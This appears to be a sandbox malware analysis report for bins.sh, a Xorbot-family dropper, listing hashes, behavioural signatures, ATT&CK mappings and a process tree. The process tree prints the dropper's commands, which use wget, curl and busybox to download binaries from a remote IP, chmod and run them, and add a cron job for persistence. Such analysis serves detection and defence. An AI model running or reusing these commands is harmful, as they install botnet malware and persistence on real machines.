Analysis
-
max time kernel
149s -
max time network
152s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
27/02/2025, 23:08
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240729-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
5cae212a65109f1a0f1218d70286d4b0
-
SHA1
1f0fb32f13a4e4ad9463a27c76e9b76591a92408
-
SHA256
af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c
-
SHA512
d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe
-
SSDEEP
192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP
Malware Config
Signatures
-
resource yara_rule behavioral2/files/fstream-1.dat family_xorbot -
Xorbot family
-
Contacts a large (1699) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 677 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT 678 bins.sh -
Renames itself 1 IoCs
pid Process 679 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.VieNlV crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/656/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/699/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/719/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/761/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/799/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/988/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/688/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/690/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/766/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/911/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/17/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/707/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/744/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/888/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/896/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/959/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/995/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/19/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/21/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/202/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/693/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/711/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/762/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/894/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/986/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/722/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/self/auxv curl File opened for reading /proc/139/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/992/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1043/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/867/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/967/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1006/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/732/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/747/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/922/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1046/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1050/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/842/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/305/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/267/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/738/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/776/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/887/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1055/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/830/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/1/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/4/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/28/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/694/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/745/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/751/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/780/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/718/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/774/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/781/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/802/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/821/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/828/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/891/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/892/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/692/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT File opened for reading /proc/902/cmdline Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT wget File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT curl File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:650 -
/bin/rm/bin/rm bins.sh2⤵PID:655
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Writes file to tmp directory
PID:658
-
-
/usr/bin/curlcurl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:665
-
-
/bin/busybox/bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Writes file to tmp directory
PID:675
-
-
/bin/chmodchmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- File and Directory Permissions Modification
PID:677
-
-
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Renames itself
- Reads runtime system information
PID:678 -
/bin/shsh -c "crontab -l"3⤵PID:680
-
/usr/bin/crontabcrontab -l4⤵PID:682
-
-
-
/bin/shsh -c "crontab -"3⤵PID:683
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:684
-
-
-
-
/bin/rmrm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵PID:689
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵PID:692
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
210B
MD512dfe1e1605fa7984f56e178f4673144
SHA187dd1b1c78ed96957a9e19abd2d18b57ea80d366
SHA2568922064cefd87886ea84568ca3f30812c71d10e01106fade852ccf6a5a5abdc6
SHA51267cb45269c1fa378905b015775b15d0da68aa4c2bd39c5f076e52ebf94b559f3e75fb81c1364fa03c417aa93fea98d0029ba719345cc1cc5b26f972b0b8c3d25